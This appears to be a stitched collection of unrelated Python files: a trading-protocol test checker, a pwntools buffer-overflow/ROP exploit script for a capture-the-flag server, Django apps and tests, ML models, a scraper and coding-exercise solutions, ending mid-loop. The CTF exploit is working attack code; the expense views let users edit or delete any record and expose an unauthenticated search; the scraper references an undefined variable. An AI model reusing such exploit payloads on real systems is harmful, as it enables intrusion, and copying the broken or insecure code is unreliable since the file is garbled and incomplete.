from test_utils import *

class OUCHClientChecker(GenericChecker):
    tif2ouch={ None: None, 'Norm': b'0', 'IOC': b'3', 'FOK': b'4' }

    def __init__(self, **kwargs):
        super(OUCHClientChecker, self).__init__(**kwargs)
        self.ouch_client = kwargs['ouch_client']
        self.mxsim = kwargs['mxsim']

    @overrides
    def newOrder(self, order, **kwargs):
        if not kwargs.get('dk', False):
            kwargs['clOrdID'] = self.ouch_client.sendEnterOrder(
                orderToken=kwargs.get('clOrdID'),
                orderBookID=int(kwargs.get('security').symbol) if kwargs.get('security') is not None else None,
                side=kwargs.get('side'),
                quantity=kwargs.get('orderQty'),
                price=kwargs.get('orderPrice'),
                timeInForce=self.tif2ouch[kwargs.get('timeInForce')],
                )
        super(OUCHClientChecker, self).newOrder(order, **kwargs)
        return self

    @overrides
    def ordered(self, order, **kwargs):
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderAccepted in msg)
        ordered = msg[self.ouch_client.ouch_msg.OrderAccepted]
        if 'orderID2' not in kwargs:
            kwargs['orderID2'] = ordered.OrderID
        super(OUCHClientChecker, self).ordered(order, **kwargs)
        clOrdID = kwargs.get('clOrdID', order.clOrdID)
        orderID2 = kwargs.get('orderID2', order.orderID2)
        security = kwargs.get('security', order.security)
        side = kwargs.get('side', order.side)
        orderQty = kwargs.get('orderQty', order.orderQty)
        orderPrice = kwargs.get('orderPrice', order.orderPrice)
        timeInForce = kwargs.get('timeInForce', order.timeInForce)
        if clOrdID is not None:
            assert(ordered.OrderToken == clOrdID)
        if orderID2 is not None:
            assert(ordered.OrderID == orderID2)
        if security is not None:
            assert(str(ordered.OrderBookID) == security.symbol)
        if side is not None:
            assert(ordered.Side == side)
        if orderQty is not None:
            assert(ordered.Quantity == orderQty)
        if orderPrice is not None:
            assert(ordered.Price == orderPrice)
        if timeInForce is not None:
            assert(ordered.TimeInForce == self.tif2ouch[timeInForce])
        return self

    @overrides
    def reject(self, order, **kwargs):
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderRejected in msg)
        super(OUCHClientChecker, self).reject(order, **kwargs)
        reject = msg[self.ouch_client.ouch_msg.OrderRejected]
        clOrdID = kwargs.get('clOrdID', order.clOrdID)
        if clOrdID is not None:
            assert(reject.OrderToken == clOrdID)
        return self

    @overrides
    def modify(self, order, **kwargs):
        orderToken = self.ouch_client.sendReplaceOrder(
            existingOrderToken=kwargs.get('origClOrdID', order.clOrdID),
            replacementOrderToken=kwargs.get('clOrdID'),
            quantity=kwargs.get('orderQty'),
            price=kwargs['orderPrice'],
            )
        kwargs['clOrdID'] = orderToken
        super(OUCHClientChecker, self).modify(order, **kwargs)
        return self

    @overrides
    def modified(self, order, **kwargs):
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderReplaced in msg)
        origClOrdID = kwargs.get('origClOrdID', order.prevClOrdID)
        super(OUCHClientChecker, self).modified(order, **kwargs)
        modified = msg[self.ouch_client.ouch_msg.OrderReplaced]
        clOrdID = kwargs.get('clOrdID', order.clOrdID)
        orderID2 = kwargs.get('orderID2', order.orderID2)
        security = kwargs.get('security', order.security)
        side = kwargs.get('side', order.side)
        orderQty = kwargs.get('orderQty', order.orderQty)
        orderPrice = kwargs.get('orderPrice', order.orderPrice)
        timeInForce = kwargs.get('timeInForce', order.timeInForce)
        if origClOrdID is not None:
            assert(modified.PreviousOrderToken == origClOrdID)
        if clOrdID is not None:
            assert(modified.ReplacementOrderToken == clOrdID)
        if orderID2 is not None:
            assert(modified.OrderID == orderID2)
        if security is not None:
            assert(str(modified.OrderBookID) == security.symbol)
        if side is not None:
            assert(modified.Side == side)
        if orderQty is not None:
            assert(modified.Quantity == orderQty)
        if orderPrice is not None:
            assert(modified.Price == orderPrice)
        if timeInForce is not None:
            assert(modified.TimeInForce == self.tif2ouch[timeInForce])
        return self

    @overrides
    def modReject(self, order, **kwargs):
        super(OUCHClientChecker, self).modReject(order, **kwargs)
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderRejected in msg)
        modReject = msg[self.ouch_client.ouch_msg.OrderRejected]
        origClOrdID = kwargs.get('origClOrdID', order.clOrdID)
        if origClOrdID is not None:
            assert(modReject.OrderToken == origClOrdID)
        return self

    @overrides
    def cancel(self, order, **kwargs):
        self.ouch_client.sendCancelOrder(
            orderToken=kwargs.get('clOrdID', order.clOrdID),
            )
        super(OUCHClientChecker, self).cancel(order, **kwargs)
        return self

    @overrides
    def canceled(self, order, **kwargs):
        super(OUCHClientChecker, self).canceled(order, **kwargs)
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderCancelled in msg)
        canceled = msg[self.ouch_client.ouch_msg.OrderCancelled]
        assert(canceled.CancelReason == 1)
        clOrdID = kwargs.get('clOrdID', order.clOrdID)
        orderID2 = kwargs.get('orderID2', order.orderID2)
        security = kwargs.get('security', order.security)
        side = kwargs.get('side', order.side)
        if clOrdID is not None:
            assert(canceled.OrderToken == clOrdID)
        if orderID2 is not None:
            assert(canceled.OrderID == orderID2)
        if security is not None:
            assert(str(canceled.OrderBookID) == security.symbol)
        if side is not None:
            assert(canceled.Side == side)
        return self

    @overrides
    def cxlReject(self, order, **kwargs):
        super(OUCHClientChecker, self).cxlReject(order, **kwargs)
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderRejected in msg)
        cxlReject = msg[self.ouch_client.ouch_msg.OrderRejected]
        if kwargs.get('clOrdID', order.clOrdID) is not None:
            assert(cxlReject.OrderToken == kwargs.get('clOrdID', order.clOrdID))
        return self

    @overrides
    def fill(self, order, **kwargs):
        orderID2 = kwargs.get('orderID2', order.orderID2)
        self.mxsim.fill(orderID2, kwargs['execQty'], kwargs['execPrice'])
        super(OUCHClientChecker, self).fill(order, **kwargs)
        msg = self.ouch_client.receiveMsg()
        assert(self.ouch_client.ouch_msg.OrderExecuted in msg)
        fill = msg[self.ouch_client.ouch_msg.OrderExecuted]
        clOrdID = kwargs.get('clOrdID', order.clOrdID)
        security = kwargs.get('security', order.security)
        if clOrdID is not None:
            assert(fill.OrderToken == clOrdID)
        if security is not None:
            assert(str(fill.OrderBookID) == security.symbol)
        if kwargs.get('execQty', None) is not None:
            assert(fill.TradedQuantity == kwargs['execQty'])
        if kwargs.get('execPrice', None) is not None:
            assert(fill.TradePrice == kwargs['execPrice'])
        if kwargs.get('execID2', None) is not None:
            assert(fill.MatchID == kwargs['execID2'])
        return self

    @overrides
    def bust(self, order, **kwargs):
        raise OperationNotSupportedError()

    @overrides
    def expire(self, order, **kwargs):
        raise OperationNotSupportedError()

    @overrides
    def dfd(self, order, **kwargs):
        raise OperationNotSupportedError()


from pwn import *

host, port = 'binary.utctf.live', '9002'

buf = b''
buf += b'A' * 120
buf += p64(0x0000000000400693) # pop rdi
buf += p64(0xdeadbeef) # val of param1
buf += p64(0x4005ea) # address of get_flag
r = remote(host, port)
r.sendline(buf)
r.interactive()


import logging

import faker
from django.urls import reverse
from django.utils import timezone
from rest_framework import status

from polls.models import Question, Choice
from tests import BaseTestCase, HttpMethod

fake = faker.Faker()

logger = logging.getLogger(__name__)

class QuestionTests(BaseTestCase):
    """
    Given the following failing tests, do what is required externally to this module to make them pass.

    i.e. There should be no changes to this file.  Instead, find the areas in the application to augment
    and fix the failing tests.
    """
    __test__ = True

    def create_question(self):
        pub_date = timezone.make_aware(fake.date_time_this_year())
        question = Question.objects.create(question_text=fake.catch_phrase(), pub_date=pub_date)
        for __ in range(fake.random_digit()):
            Choice.objects.create(question=question, choice_text=fake.bs(), votes=fake.pyint())
        return question

    def test_multi_update(self):
        """
        Augment the endpoint to handle updating multiple objects within a single request.
        """
        # Create some test objects
        expected_count = 10
        self.assertFalse(Question.objects.exists())

        for __ in range(expected_count):
            self.create_question()

        self.assertEqual(Question.objects.count(), expected_count)

        url = reverse("question-list")
        self.authenticate()

        # Build a payload for the request.  In this case we're sending a non-standard payload
        # that includes multiple objects to update.
        payload = []
        for obj in Question.objects.all():
            payload.append(dict(url=reverse("question-detail", kwargs=dict(pk=obj.pk)),
                                question_text=fake.bs()))

        # Send the request - we're doing a partial update in this case (i.e. PATCH vs a PUT)
        response, data = self.request(HttpMethod.PATCH, url, data=payload, authenticated=True)
        self.assertResponseStatus(response, status_code=status.HTTP_200_OK)
        self.assertEqual(len(data["results"]), expected_count)

    def test_has_date_created(self):
        """
        Augment the model to have a `date_created` field.

        This field should be automatically be set with a datetime value representing the point in time
        that the instance was created.  Make sure to create a migration file as well.  (python manage.py makemigrations)

        Furthermore, augment the serializer to include the new field.
        """
        obj = self.create_question()
        url = reverse("question-detail", kwargs=dict(pk=obj.pk))
        response, data = self.request(HttpMethod.GET, url, authenticated=True)
        self.assertResponseStatus(response, status_code=status.HTTP_200_OK)
        self.assertIn("pub_date", data)
        self.assertIn("url", data)
        self.assertIn("question_text", data)
        self.assertIn("choices", data)
        self.assertIn("date_created", data, msg="date_created isn't in the serialized data yet")
        self.assertIsNotNone(data["date_created"])

    def test_query_count_is_off(self):
        """
        Something is causing a higher than expected number of queries executed during a list request.

        Find and fix the area of the application that would be responsible for this.
        """
        # Create a bunch of test objects
        for __ in range(fake.pyint()):
            self.create_question()

        url = reverse("question-list")
        self.authenticate()

        # We only expect 11 queries to execute in total if this request was optimized
        with self.assertNumQueries(11):
            response, data = self.request(HttpMethod.GET, url, authenticated=True)
            self.assertResponseStatus(response, status_code=status.HTTP_200_OK)
            self.assertGreaterEqual(len(data["results"]), 1)
            obj = data["results"][0]
            self.assertIn("pub_date", obj)
            self.assertIn("url", obj)
            self.assertIn("question_text", obj)
            self.assertIn("choices", obj)


import tensorflow as tf
import numpy as np

class EncoderConv1D(tf.keras.Model):

    def __init__(self, latent_dim, num_samples=16, name='encoder_conv1d'):
        super(EncoderConv1D, self).__init__(name=name)
        self.latent_dim = latent_dim
        self.num_samples = num_samples

        self.conv1 = tf.keras.layers.Conv1D(filters=32, kernel_size=7, strides=3)
        self.norm1 = tf.keras.layers.BatchNormalization()
        self.act1 = tf.keras.layers.Activation('relu')

        self.conv2 = tf.keras.layers.Conv1D(filters=64, kernel_size=7, strides=3)
        self.norm2 = tf.keras.layers.BatchNormalization()
        self.act2 = tf.keras.layers.Activation('relu')

        self.conv3 = tf.keras.layers.Conv1D(filters=128, kernel_size=7, strides=3)
        self.norm3 = tf.keras.layers.BatchNormalization()
        self.act3 = tf.keras.layers.Activation('relu')

        self.dense1 = tf.keras.layers.Dense(512)
        self.dense_norm1 = tf.keras.layers.BatchNormalization()
        self.dense_act1 = tf.keras.layers.Activation('relu')

        self.z_mean_dense = tf.keras.layers.Dense(self.latent_dim)
        self.z_log_var_dense = tf.keras.layers.Dense(self.latent_dim)

    def call(self, inputs):
        with tf.variable_scope(self.name, reuse=tf.AUTO_REUSE):
            x = self.conv1(inputs)
            x = self.norm1(x)
            x = self.act1(x)

            x = self.conv2(x)
            x = self.norm2(x)
            x = self.act2(x)

            x = self.conv3(x)
            x = self.norm3(x)
            x = self.act3(x)
            x = tf.keras.layers.Flatten()(x)

            z_mean = self.z_mean_dense(x)
            z_log_var = self.z_log_var_dense(x)

            self.dist = tf.distributions.Normal(loc=z_mean, scale=tf.exp(0.5*z_log_var))
            sampled = self.dist.sample(self.num_samples)
            z = tf.transpose(sampled, [1, 0, 2])
            return z, z_mean, z_log_var

class DecoderCuDNNGRU(tf.keras.Model):

    def __init__(self, charset_length, max_length, name='decoder_gru'):
        super(DecoderCuDNNGRU, self).__init__(name=name)
        self.charset_length = charset_length
        self.max_length = max_length

        self.dense1 = tf.keras.layers.Dense(512)
        self.norm1 = tf.keras.layers.BatchNormalization()
        self.act1 = tf.keras.layers.Activation('relu')
        self.repeat = tf.keras.layers.RepeatVector(self.max_length)

        self.gru1 = tf.keras.layers.CuDNNGRU(512, return_sequences=True)
        self.norm2 = tf.keras.layers.BatchNormalization()
        self.gru2 = tf.keras.layers.CuDNNGRU(512, return_sequences=True)
        self.norm3 = tf.keras.layers.BatchNormalization()
        self.gru3 = tf.keras.layers.CuDNNGRU(512, return_sequences=True)
        self.out_dense = tf.keras.layers.TimeDistributed(tf.keras.layers.Dense(self.charset_length))
        self.out_act = tf.keras.layers.Activation('softmax')

    def call(self, inputs):
        with tf.variable_scope(self.name, reuse=tf.AUTO_REUSE):
            x = self.dense1(inputs)
            x = self.norm1(x)
            x = self.act1(x)

            x = self.repeat(x)
            x = self.gru1(x)
            x = self.norm2(x)
            x = self.gru2(x)
            x = self.norm3(x)
            x = self.gru3(x)
            outputs_logits = self.out_dense(x)
            outputs = self.out_act(outputs_logits)
            return outputs, outputs_logits

class VariationalAutoencoder(tf.keras.Model):

    def __init__(self, latent_dim, charset_length, max_length, num_samples=16, name='vae'):
        super(VariationalAutoencoder, self).__init__(name=name)
        self.latent_dim = latent_dim
        self.charset_length = charset_length
        self.max_length = max_length
        self.num_samples = num_samples

        self.encoder = EncoderConv1D(self.latent_dim, num_samples=self.num_samples)
        self.decoder = DecoderCuDNNGRU(charset_length, max_length)

    def call(self, inputs):
        with tf.variable_scope(self.name, reuse=tf.AUTO_REUSE):
            z, self.z_mean, self.z_log_var = self.encoder(inputs)
            z_reshaped = tf.reshape(z, (-1, self.encoder.latent_dim))
            outputs, self.outputs_logits = self.decoder(z_reshaped)
            return outputs

    def vae_loss_func(self, y_true, y_pred):
        latent_loss = -0.5*tf.reduce_sum(1.0 + self.z_log_var - tf.square(self.z_mean) - tf.exp(self.z_log_var), 1)
        y_true_r = tf.reshape(y_true, [-1, 1, self.max_length])
        y_true_c = tf.cast(y_true_r, tf.int64)
        tiled = tf.tile(y_true_c, (1, self.num_samples, 1))
        y_true_rep = tf.reshape(tiled, (-1, self.max_length))
        recon_loss = tf.losses.sparse_softmax_cross_entropy(y_true_rep, self.outputs_logits, reduction=tf.losses.Reduction.SUM)
        recon_loss = recon_loss/tf.cast(self.num_samples, tf.float32)
        vae_loss = latent_loss + recon_loss
        return vae_loss

    def sampled_data_acc(self, y_true, y_pred):
        y_true_r = tf.reshape(y_true, [-1, 1, self.max_length])
        y_true_c = tf.cast(y_true_r, tf.int64)
        tiled = tf.tile(y_true_c, (1, self.num_samples, 1))
        y_true_rep = tf.reshape(tiled, (-1, self.max_length))
        y_pred_class = tf.argmax(y_pred, axis=-1)
        acc = tf.reduce_mean(tf.cast(tf.equal(y_true_rep, y_pred_class), tf.float32))
        return acc


from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from .models import Expense, Category
from django.contrib.auth.models import User
from django.contrib import messages
from django.core.paginator import Paginator
import json, csv, xlwt
from django.http import JsonResponse, HttpResponse
from userprefernces.models import UserPrefernce
from userprefernces.views import account_details
import datetime
from django.template.loader import render_to_string
from .forms import ExpenseUploadForm
from django.views.decorators.csrf import csrf_exempt
# import tempfile
# from weasyprint import HTML
# from django.db.models import Sum

# Create your views here.
def search_expenses(request):
    if request.method == "POST":
        search_str = json.loads(request.body).get('searchText')
        expenses = Expense.objects.filter(amount__istartswith=search_str, owner=request.user) | Expense.objects.filter(date__istartswith=search_str, owner=request.user) | Expense.objects.filter(description__icontains=search_str, owner=request.user) | Expense.objects.filter(category__icontains=search_str, owner=request.user)

        data = expenses.values()
        return JsonResponse(list(data), safe=False)

@login_required(login_url='/authentication/login')
def index(request):
    categories = Category.objects.all()
    expenses = Expense.objects.filter(owner=request.user)
    paginator = Paginator(expenses,5)
    page_number = request.GET.get('page')
    page_obj = Paginator.get_page(paginator, page_number)
    # Check if UserPreference exists for the current user
    try:
        user_preference = UserPrefernce.objects.get(user=request.user)
        currency = user_preference.currency
    except UserPrefernce.DoesNotExist:
        # Handle the case where UserPreference doesn't exist (new user)
        currency = None

    context = {
        'expenses': expenses,
        'page_obj': page_obj,
        'currency': currency,
    }
    return render(request, 'expenses/index.html', context)

@login_required(login_url='/authentication/login')
def add_expense(request):
    categories = Category.objects.all()
    context = {
        'categories': categories,
        'values': request.POST
    }
    # Check if the user has set their preferences
    try:
        user_preference = UserPrefernce.objects.get(user=request.user)
    except UserPrefernce.DoesNotExist:
        messages.error(request, "Please set your preferences before adding an expense.")
        return redirect('prefernces')
    if request.method == 'GET':
        return render(request, 'expenses/add_expense.html', context)

    if request.method == 'POST':
        amount = request.POST['amount']
        description = request.POST['description']
        date = request.POST['expense_date']
        category = request.POST['category']
        if not amount:
            messages.error(request, 'Amount required.')
            return render(request, 'expenses/add_expense.html', context)

        if not description:
            messages.error(request, 'Description required.')
            return render(request, 'expenses/add_expense.html', context)

        Expense.objects.create(owner = request.user, amount=amount, description=description, date=date, category=category)
        messages.success(request, "Expense saved successfully")
        return redirect('expenses')

@login_required(login_url='/authentication/login')
def edit_expense(request, id):
    expense = Expense.objects.get(pk=id)
    categories = Category.objects.all()
    context = {
        'expense': expense,
        'values': expense,
        'categories': categories
    }
    if request.method == 'GET':
        return render(request, 'expenses/edit_expense.html', context)
    if request.method == 'POST':
        amount = request.POST['amount']
        if not amount:
            messages.error(request, 'Amount required.')
            return render(request, 'expenses/edit_expense.html', context)

        description = request.POST['description']
        date = request.POST['expense_date']
        category = request.POST['category']

        if not description:
            messages.error(request, 'description is required.')
            return render(request, 'expenses/edit_expense.html', context)

        expense.owner = request.user
        expense.amount=amount
        expense.description=description
        expense.date=date
        expense.category=category
        expense.save()
        messages.success(request, "Expense updated successfully")
        return redirect('expenses')

@login_required(login_url='/authentication/login')
def delete_expense(request, id):
    expense = Expense.objects.get(pk=id)
    expense.delete()
    messages.success(request, "Expense deleted.")
    return redirect('expenses')

# def add_category(request):
#     print('view connected')
#     if request.method == 'POST':
#         category = request.POST["category"]
#     Category.objects.create(name = category)
#     messages.success(request, "Category added successfully")
#     return redirect(request, 'account-details')
@login_required(login_url='/authentication/login')
def expense_category_summary(request, time_interval):
    # Convert the time_interval to the number of days (e.g., '1m' for 1 month)
    if time_interval == '1m':
        num_days = 30
    elif time_interval == '3m':
        num_days = 90
    elif time_interval == '6m':
        num_days = 180
    elif time_interval == '1y':
        num_days = 365
    else:
        # Handle an invalid time_interval here
        num_days = 0
    # print(num_days,"--time interval")
    todays_date = datetime.date.today()
    start_date = todays_date - datetime.timedelta(days=num_days)
    # print(datetime.timedelta(days=num_days))
    # print(todays_date, start_date, "-----time period")
    # # Filter expenses based on the start_date
    expenses = Expense.objects.filter(
        owner=request.user,
        date__range=[start_date, todays_date]
    )
    finalrep = {}
    def get_category(expense):
        return expense.category
    category_list = list(set(map(get_category, expenses)))
    def get_expense_category_amount(category):
        amount = 0
        filtered_by_category = expenses.filter(category=category)
        for item in filtered_by_category:
            amount += item.amount
        return amount
    for x in expenses:
        for y in category_list:
            finalrep[y] = get_expense_category_amount(y)

    return JsonResponse({'expense_category_data': finalrep}, safe=False)
@login_required(login_url='/authentication/login')
def stats_view(request):
    return render (request, 'expenses/stats.html')
@login_required(login_url='/authentication/login')
def export_csv(request):
    response = HttpResponse(content_type='text/csv')
    username = request.user.username
    response['Content-Disposition']='attachment; filename=Expenses-For-'+ username +'-'+ datetime.datetime.now().strftime("%Y-%m-%d")+'.csv'
    writer = csv.writer(response)
    writer.writerow(['Amount', 'Description', 'Category', 'Date'])

    expenses = Expense.objects.filter(owner=request.user)
    for expense in expenses:
        writer.writerow([expense.amount, expense.description, expense.category, expense.date])

    return response
@login_required(login_url='/authentication/login')
def export_excel(request):
    response = HttpResponse(content_type='application/ms-excel')
    username = request.user.username
    response['Content-Disposition']='attachment; filename=Expenses-For-'+ username +'-'+ datetime.datetime.now().strftime("%Y-%m-%d")+'.xls'

    wb = xlwt.Workbook(encoding='utf-8')
    ws = wb.add_sheet('Expenses')
    row_num = 0
    font_style = xlwt.XFStyle()
    font_style.font.bold = True

    columns = ['Amount', 'Description', 'Category', 'Date']

    for col_num in range(len(columns)):
        ws.write(row_num, col_num, columns[col_num], font_style)

    font_style = xlwt.XFStyle()

    rows = Expense.objects.filter(owner=request.user).values_list(
        'amount', 'description', 'category', 'date')

    for row in rows:
        row_num += 1

        for col_num in range(len(row)):
            ws.write(row_num, col_num, str(row[col_num]), font_style)

    wb.save(response)
    return response

def upload_expense_csv(request):
    if request.method == 'POST':
        form = ExpenseUploadForm(request.POST, request.FILES)
        if form.is_valid():
            csv_file = form.cleaned_data['csv_file']

            if csv_file:
                # Process the uploaded CSV file
                csv_data = csv.reader(csv_file.read().decode('utf-8').splitlines())

                for row in csv_data:
                    # Assuming your CSV structure is: amount, date, description, category
                    amount, date, description, category = row
                    # Create an Expense record
                    Expense.objects.create(
                        owner=request.user,
                        amount=amount,
                        date=date,
                        description=description,
                        category=category
                    )

                return redirect('expenses')

    else:
        form = ExpenseUploadForm()

    return render(request, 'upload_expense.html', {'form': form})

# def export_pdf(request):
#     response = HttpResponse(content_type='application/pdf')
#     username = request.user.username
#     response['Content-Disposition']='attachment; filename=Expenses-For-'+ username +'-'+ datetime.datetime.now().strftime("%Y-%m-%d")+'.pdf'
#     response['Content-Transfer-Encoding']= 'binary'

#     html_string = render_to_string('expenses/pdf-output.html', {'expenses':[],'total':0})
#     html = HTML(string=html_string)

#     result = html.write_pdf()

#     with tempfile.NamedTemporaryFile(delete=True) as output:
#         output.write(result)
#         output.flush()

#         output = open(output.name, 'rb')
#         response.write(output.read())

#     return response


from bs4 import BeautifulSoup
import requests
import pandas as pd
import time
import regex as re
import random

data = {"title" : [], "link" : []}

temp = open("links.txt",'r').readlines()
adresses = []
for i in temp:
    adresses.append(i.replace("\n",""))

# Here's a function which gathers links from steam search page if particular title link covers searched game (including dlc, soundtrack etc.).
# I use this if statement because I don't know which game from the list is available on Steam, and result may not be a polish game if I search absent title.
def link_soup(adres):
    url = adres
    cookies = {"birthtime" : "",
        "wants_mature_content" : "1",
        "lastagecheckage" : ""} # here were cookies from my browser to avoid age checking
    headers = {
        "user-agent" : "",
        "referer" : "https://store.steampowered.com/"
        }
    r = requests.get(url, headers = headers)
    print(r.status_code)

    soup = BeautifulSoup(r.content, "html.parser")
    results_container = soup.find("div", id="search_resultsRows")
    query = soup.find("input",  id="term")["value"]

    if results_container is None:
        print("Not found " + str(query))
    else:
        for i in results_container.find_all("a"):
            link = str(i["href"])
            title = str(i.span.string)
            if re.match(query, title):
                data["title"].append(title)
                data["link"].append(link)

for i in adresy:
    time.sleep(random.uniform(1, 1.5))
    link_soup(i)

frame = pd.DataFrame(data)
frame.drop_duplicates(inplace=True)
frame.to_csv("links_and_titles.csv", encoding = "utf-8", index = False)


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, x):
#         self.val = x
#         self.next = None

# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, x):
#         self.val = x
#         self.left = None
#         self.right = None

class Solution:
    def sortedListToBST(self, head: ListNode) -> TreeNode:
        list_iter = self.list_iter(head)
        count = self.count(head)
        return self.dfs(list_iter, 0, count-1)

    def count(self, head):
        count = 0
        for _ in self.list_iter(head): count += 1
        return count

    def list_iter(self, head):
        while head:
            yield head.val
            head = head.next

    def dfs(self, it, lo, hi):
        if lo > hi: return None
        mid = (lo+hi)//2
        ret = TreeNode(
            left=self.dfs(it, lo, mid-1),
            val=next(it),
            right=self.dfs(it, mid + 1, hi)
        )
        return ret

class Solution:
    def sortedListToBST(self, head: ListNode) -> TreeNode:
        if not head: return None
        left, cur, right = self.partition(head)
        node = TreeNode(cur.val)
        node.left = self.sortedListToBST(left)
        node.right = self.sortedListToBST(right)
        return node

    def partition(self, llist):
        if not llist.next: return None, llist, None
        slow, cur, fast = None, llist, llist
        while fast and fast.next:
            slow, cur, fast = cur, cur.next, fast.next.next
        slow.next = None
        return llist, cur, cur.next


# Create your views here.

from django.views.generic import TemplateView, FormView, DetailView, ListView
from django.shortcuts import render,render_to_response
from .models import Post
from django.core.urlresolvers import reverse_lazy
from django.template import RequestContext
from .forms import ConfessForm
# from uuslug import uuslug
# Import PILLOW to render and image of the text
# from PIL import Image,ImageDraw
from endless_pagination.decorators import page_template

class PostListView(ListView):
	model = Post
	template_name="post_list.html"
	paginate_by = 15

@page_template('post_page.html')  # just add this decorator
def postList(
               request, template='confess.html', extra_context=None):

    context = {}
    if extra_context is not None:
        context.update(extra_context)

    obj = Post.objects.all()
    context['objects']=obj
    return render_to_response(
        template, context, context_instance=RequestContext(request))

@page_template('post_page.html')  # just add this decorator
def popularList(
               request, template='confess.html', extra_context=None):

    context = {}
    if extra_context is not None:
        context.update(extra_context)

    obj = Post.objects.filter(category='PO')
    context['objects']=obj
    return render_to_response(
        template, context, context_instance=RequestContext(request))
@page_template('post_page.html')  # just add this decorator
def newList(
               request, template='confess.html', extra_context=None):

    context = {}
    if extra_context is not None:
        context.update(extra_context)

    obj = Post.objects.filter(category='NE')
    context['objects']=obj
    return render_to_response(
        template, context, context_instance=RequestContext(request))

class ConfessForm(FormView):
	template_name="post_form.html"
	form_class=ConfessForm
	success_url=reverse_lazy('list')
	def form_valid(self,form):
		category ='NE'
		 # every post will be set to the new category,
		# the popular will be handpicked by admin
		post=Post()
		post.title=form.cleaned_data['title']
		post.text=form.cleaned_data['text']
		post.total_likes = 1
		post.category = category
		# This piece of code can turn any text to image
		# transform text to an image
		# img= Image.new('RGB',(500,500),(255,255,255))
		# d=ImageDraw.Draw(img)
		# d.text((20,20),post.text,fill=(255,0,0))
		# # save image to the uploads directory for media
		# img.save(settings.MEDIA_ROOT+"/uploads/"+post.text+".png","PNG")
		# # # save it to the model
		# post.image="/uploads/"+post.text+".png"
		post.save()

		return super(ConfessForm,self).form_valid(form)

class PostDetailView(DetailView):
 	template_name = 'post_detail.html'
 	model= Post


# let's count the hot days during the month, hot day will be considered if it's temperature at midday is higher then 20.0 degree celsious. ;)

temps = [[0.0 for h in range(24)] for d in range(31)]

temps[0][11] = 19
temps[3][11] = 25
temps[10][11] = 26
temps[15][11] = 20.3

total_hot_days = 0

for day in temps:
    if day[11] > 20.0:
        total_hot_days += 1

print(f"Total hot days of this month: {total_hot_days} days.")


from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QWidget, QVBoxLayout, QLabel, QHBoxLayout, QPushButton
from PyQt5.QtGui import QPixmap
from tornado.httpclient import HTTPClient
import json
import urllib

class CustomListItem(QWidget):
    def __init__(self, parent=None):
        super(CustomListItem, self).__init__(parent)
        self.textVBox = QVBoxLayout()
        self.remove_button = QPushButton('X', self)
        self.remove_button.setMaximumWidth(30)
        self.titleQLabel = QLabel()
        self.empty_box = QLabel()

        self.hbox_layout = QHBoxLayout()
        self.hbox_layout.addWidget(self.remove_button)
        self.hbox_layout.addWidget(self.empty_box)
        self.hbox_layout.addWidget(self.titleQLabel)
        self.hbox_layout.setSpacing(5)
        self.setLayout(self.hbox_layout)

    def setTitle(self, text):
        self.titleQLabel.setText(text)


import socket

mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect(('data.pr4e.org', 80))
cmd = 'GET http://data.pr4e.org/intro-short.txt HTTP/1.0\r\n\r\n'.encode()
mysock.send(cmd)

content = {'Last-Modified:':0, 'ETag:':0, 'Content-Length:':0, 'Cache-Control:':0, 'Content-Type:': 0}
while True:
    data = mysock.recv(512)
    if (len(data)<1):
        break
    print(data.decode())
mysock.close()


import torch
import os
import torchvision # torch package for vision related things
import torch.nn.functional as F  # Parameterless functions, like (some) activation functions
import torchvision.datasets as datasets  # Standard datasets
import torchvision.transforms as transforms  # Transformations we can perform on our dataset for augmentation
from torch import optim  # For optimizers like SGD, Adam, etc.
from torch import nn  # All neural network modules
from torch.utils.data import DataLoader  # Gives easier dataset managment by creating mini batches etc.
from tqdm import tqdm  # For nice progress bar!

# Simple CNN
class CNN(nn.Module):
    def __init__(self, in_channels=1, num_classes=10):
        super(CNN, self).__init__()
        self.conv1 = nn.Conv2d(
            in_channels=in_channels,
            out_channels=8,
            kernel_size=(3, 3),
            stride=(1, 1),
            padding=(1, 1),
        )
        self.pool = nn.MaxPool2d(kernel_size=(2, 2), stride=(2, 2))
        self.conv2 = nn.Conv2d(
            in_channels=8,
            out_channels=16,
            kernel_size=(3, 3),
            stride=(1, 1),
            padding=(1, 1),
        )
        self.fc1 = nn.Linear(16 * 7 * 7, num_classes)

    def forward(self, x):
        x = F.relu(self.conv1(x))
        x = self.pool(x)
        x = F.relu(self.conv2(x))
        x = self.pool(x)
        x = x.reshape(x.shape[0], -1)
        x = self.fc1(x)
        return x

# Set device
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# Hyperparameters
in_channels = 1
num_classes = 10
learning_rate = 0.001
batch_size = 64
num_epochs = 3
load_model = True
checkpoint_name = os.path.join("./checkpoints", "cnn_checkpoint.pth.tar" )
# checkpoint_name = "cnn_checkpoint.pth.tar"

# Save Checkpoint
def save_checkpoint(state, filename=checkpoint_name):
    print("=> Saving Checkpoint")
    torch.save(state, filename)

# Load Checkpoint
def load_checkpoint(checkpoint):
    print("=> Loading checkpoint")
    model.load_state_dict(checkpoint["model"])
    optimizer.load_state_dict(checkpoint["optimizer"])

# Load Data train
train_dataset = datasets.MNIST(root="dataset/", train=True, transform=transforms.ToTensor(), download=True)
test_dataset = datasets.MNIST(root="dataset/", train=False, transform=transforms.ToTensor(), download=True)
# Load Data test
train_loader = DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True)
test_loader = DataLoader(dataset=test_dataset, batch_size=batch_size, shuffle=True)

# Initialize network
model = CNN(in_channels=in_channels, num_classes=num_classes).to(device)

# Loss and optimizer
criterion = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.parameters(), lr=learning_rate)

if load_model:
    load_checkpoint(torch.load(checkpoint_name))

# Train Network
for epoch in range(num_epochs):
    print(f"Training epoch: {epoch}")
    losses = []

    if epoch %2 == 0:
